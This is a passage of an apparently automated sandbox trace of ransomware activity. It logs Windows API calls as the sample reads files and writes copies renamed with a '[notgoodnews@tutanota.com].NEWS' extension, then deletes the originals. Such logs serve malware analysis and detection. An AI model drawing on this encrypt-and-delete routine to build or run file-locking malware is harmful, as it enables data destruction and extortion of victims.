lstrlenW (lpString=".docx") returned 5 [0093.960] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0093.960] lstrlenW (lpString=".pdf") returned 4 [0093.960] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.960] lstrlenW (lpString=".xls") returned 4 [0093.960] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.960] lstrlenW (lpString=".xlsx") returned 5 [0093.960] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0093.960] lstrlenW (lpString=".ppt") returned 4 [0093.960] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0093.960] lstrlenW (lpString=".zip") returned 4 [0093.960] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.960] lstrlenW (lpString=".rar") returned 4 [0093.960] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.960] lstrlenW (lpString=".bz2") returned 4 [0093.960] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.960] lstrlenW (lpString=".7z") returned 3 [0093.960] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0093.960] lstrlenW (lpString=".dbf") returned 4 [0093.960] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0093.960] lstrlenW (lpString=".1cd") returned 4 [0093.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0093.960] lstrlenW (lpString=".jpg") returned 4 [0093.961] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.961] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.961] lstrlenW (lpString="J0105348.WMF") returned 12 [0093.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.961] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=17060) returned 1 [0093.961] CloseHandle (hObject=0x330) returned 1 [0093.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf")) returned 0x220 [0093.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.962] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.962] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0093.962] GetLastError () returned 0x0 [0093.962] ReadFile (in: hFile=0x330, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x42a4, lpOverlapped=0x0) returned 1 [0093.964] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x42b0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x42b0, lpOverlapped=0x0) returned 1 [0093.967] ReadFile (in: hFile=0x330, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0093.967] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0093.967] SetEndOfFile (hFile=0x39c) returned 1 [0093.967] CloseHandle (hObject=0x39c) returned 1 [0093.967] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.967] SetEndOfFile (hFile=0x330) returned 1 [0093.968] CloseHandle (hObject=0x330) returned 1 [0093.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.968] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf")) returned 1 [0093.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0093.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0093.968] lstrlenW (lpString=".doc") returned 4 [0093.968] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.968] lstrlenW (lpString=".docx") returned 5 [0093.968] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0093.968] lstrlenW (lpString=".pdf") returned 4 [0093.968] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.968] lstrlenW (lpString=".xls") returned 4 [0093.968] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.969] lstrlenW (lpString=".xlsx") returned 5 [0093.969] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0093.969] lstrlenW (lpString=".ppt") returned 4 [0093.969] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0093.969] lstrlenW (lpString=".zip") returned 4 [0093.969] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.969] lstrlenW (lpString=".rar") returned 4 [0093.969] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.969] lstrlenW (lpString=".bz2") returned 4 [0093.969] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.969] lstrlenW (lpString=".7z") returned 3 [0093.969] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0093.969] lstrlenW (lpString=".dbf") returned 4 [0093.969] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0093.969] lstrlenW (lpString=".1cd") returned 4 [0093.969] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0093.969] lstrlenW (lpString=".jpg") returned 4 [0093.969] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0093.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0093.969] lstrlenW (lpString=".doc") returned 4 [0093.969] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.969] lstrlenW (lpString=".docx") returned 5 [0093.969] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0093.969] lstrlenW (lpString=".pdf") returned 4 [0093.969] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.969] lstrlenW (lpString=".xls") returned 4 [0093.969] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.969] lstrlenW (lpString=".xlsx") returned 5 [0093.969] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0093.969] lstrlenW (lpString=".ppt") returned 4 [0093.969] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0093.970] lstrlenW (lpString=".zip") returned 4 [0093.970] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.970] lstrlenW (lpString=".rar") returned 4 [0093.970] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.970] lstrlenW (lpString=".bz2") returned 4 [0093.970] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.970] lstrlenW (lpString=".7z") returned 3 [0093.970] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0093.970] lstrlenW (lpString=".dbf") returned 4 [0093.970] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0093.970] lstrlenW (lpString=".1cd") returned 4 [0093.970] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0093.970] lstrlenW (lpString=".jpg") returned 4 [0093.970] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.970] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.970] lstrlenW (lpString="J0105360.WMF") returned 12 [0093.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.970] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=8860) returned 1 [0093.970] CloseHandle (hObject=0x330) returned 1 [0093.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf")) returned 0x220 [0093.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.971] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.971] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0093.971] GetLastError () returned 0x0 [0093.971] ReadFile (hFile=0x330, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0) Thread: id = 15 os_tid = 0xc18 [0060.883] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x3790970 [0060.884] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x37a0978 [0060.884] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e8bc0 [0060.884] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x6) returned 0x52e218 [0060.884] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e8bd8 [0060.884] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x100000) returned 0x3b3b020 [0060.888] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e8bf0 [0060.888] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e8bf0, Size=0x20) returned 0x4ceba8 [0060.888] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e8bf0 [0060.888] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e8bf0, Size=0x20) returned 0x4ced38 [0060.888] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76750000 [0060.888] GetProcAddress (hModule=0x76750000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76766b30 [0060.888] Wow64DisableWow64FsRedirection (in: OldValue=0x311ff50 | out: OldValue=0x311ff50*=0x0) returned 1 [0060.888] lstrlenW (lpString="kernel32.dll") returned 12 [0060.888] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ceba8 | out: hHeap=0x490000) returned 1 [0060.888] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0060.888] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ced38 | out: hHeap=0x490000) returned 1 [0060.888] Sleep (dwMilliseconds=0x64) [0061.343] Sleep (dwMilliseconds=0x64) [0061.663] Sleep (dwMilliseconds=0x64) [0063.218] lstrcmpiW (lpString1=".rtf", lpString2=".NEWS") returned 1 [0063.218] lstrlenW (lpString="eula.rtf") returned 8 [0063.218] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0063.219] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=3726) returned 1 [0063.219] CloseHandle (hObject=0x2f4) returned 1 [0063.219] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 0x80 [0063.219] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0063.219] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0063.219] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.219] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.220] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0063.220] GetLastError () returned 0x0 [0063.220] ReadFile (in: hFile=0x2f4, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0xe8e, lpOverlapped=0x0) returned 1 [0063.235] WriteFile (in: hFile=0x31c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xe90, lpOverlapped=0x0) returned 1 [0063.236] ReadFile (in: hFile=0x2f4, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.236] WriteFile (in: hFile=0x31c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xe4, lpOverlapped=0x0) returned 1 [0063.236] SetEndOfFile (hFile=0x31c) returned 1 [0063.236] CloseHandle (hObject=0x31c) returned 1 [0063.237] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.237] SetEndOfFile (hFile=0x2f4) returned 1 [0063.238] CloseHandle (hObject=0x2f4) returned 1 [0063.238] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0063.238] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 1 [0063.238] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0063.238] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0063.238] lstrlenW (lpString=".doc") returned 4 [0063.238] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0063.238] lstrlenW (lpString=".docx") returned 5 [0063.238] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0063.238] lstrlenW (lpString=".pdf") returned 4 [0063.238] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0063.238] lstrlenW (lpString=".xls") returned 4 [0063.238] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0063.238] lstrlenW (lpString=".xlsx") returned 5 [0063.239] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0063.239] lstrlenW (lpString=".ppt") returned 4 [0063.239] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0063.239] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0063.239] lstrlenW (lpString=".zip") returned 4 [0063.239] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0063.239] lstrlenW (lpString=".rar") returned 4 [0063.239] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0063.239] lstrlenW (lpString=".bz2") returned 4 [0063.239] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0063.239] lstrlenW (lpString=".7z") returned 3 [0063.239] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0063.239] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0063.239] lstrlenW (lpString=".dbf") returned 4 [0063.239] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0063.239] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0063.239] lstrlenW (lpString=".1cd") returned 4 [0063.239] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0063.239] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0063.239] lstrlenW (lpString=".jpg") returned 4 [0063.239] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0063.239] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0063.239] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0063.239] lstrlenW (lpString=".doc") returned 4 [0063.239] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0063.239] lstrlenW (lpString=".docx") returned 5 [0063.239] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0063.239] lstrlenW (lpString=".pdf") returned 4 [0063.239] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0063.239] lstrlenW (lpString=".xls") returned 4 [0063.239] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0063.239] lstrlenW (lpString=".xlsx") returned 5 [0063.239] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0063.239] lstrlenW (lpString=".ppt") returned 4 [0063.239] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0063.239] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0063.240] lstrlenW (lpString=".zip") returned 4 [0063.240] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0063.240] lstrlenW (lpString=".rar") returned 4 [0063.240] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0063.240] lstrlenW (lpString=".bz2") returned 4 [0063.240] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0063.240] lstrlenW (lpString=".7z") returned 3 [0063.240] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0063.240] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0063.240] lstrlenW (lpString=".dbf") returned 4 [0063.240] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0063.240] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0063.240] lstrlenW (lpString=".1cd") returned 4 [0063.240] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0063.240] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0063.240] lstrlenW (lpString=".jpg") returned 4 [0063.240] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0063.240] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0063.240] lstrlenW (lpString="LocalizedData.xml") returned 17 [0063.240] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0063.240] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=80970) returned 1 [0063.240] CloseHandle (hObject=0x2f4) returned 1 [0063.240] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 0x80 [0063.241] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0063.241] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0063.241] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.241] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.241] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0063.241] GetLastError () returned 0x0 [0063.241] ReadFile (in: hFile=0x2f4, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x13c4a, lpOverlapped=0x0) returned 1 [0063.244] WriteFile (in: hFile=0x31c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x13c50, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x13c50, lpOverlapped=0x0) returned 1 [0063.246] ReadFile (in: hFile=0x2f4, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.246] WriteFile (in: hFile=0x31c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xf6, lpOverlapped=0x0) returned 1 [0063.246] SetEndOfFile (hFile=0x31c) returned 1 [0063.247] CloseHandle (hObject=0x31c) returned 1 [0063.249] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.249] SetEndOfFile (hFile=0x2f4) returned 1 [0063.251] CloseHandle (hObject=0x2f4) returned 1 [0063.251] SetFileAttributesW 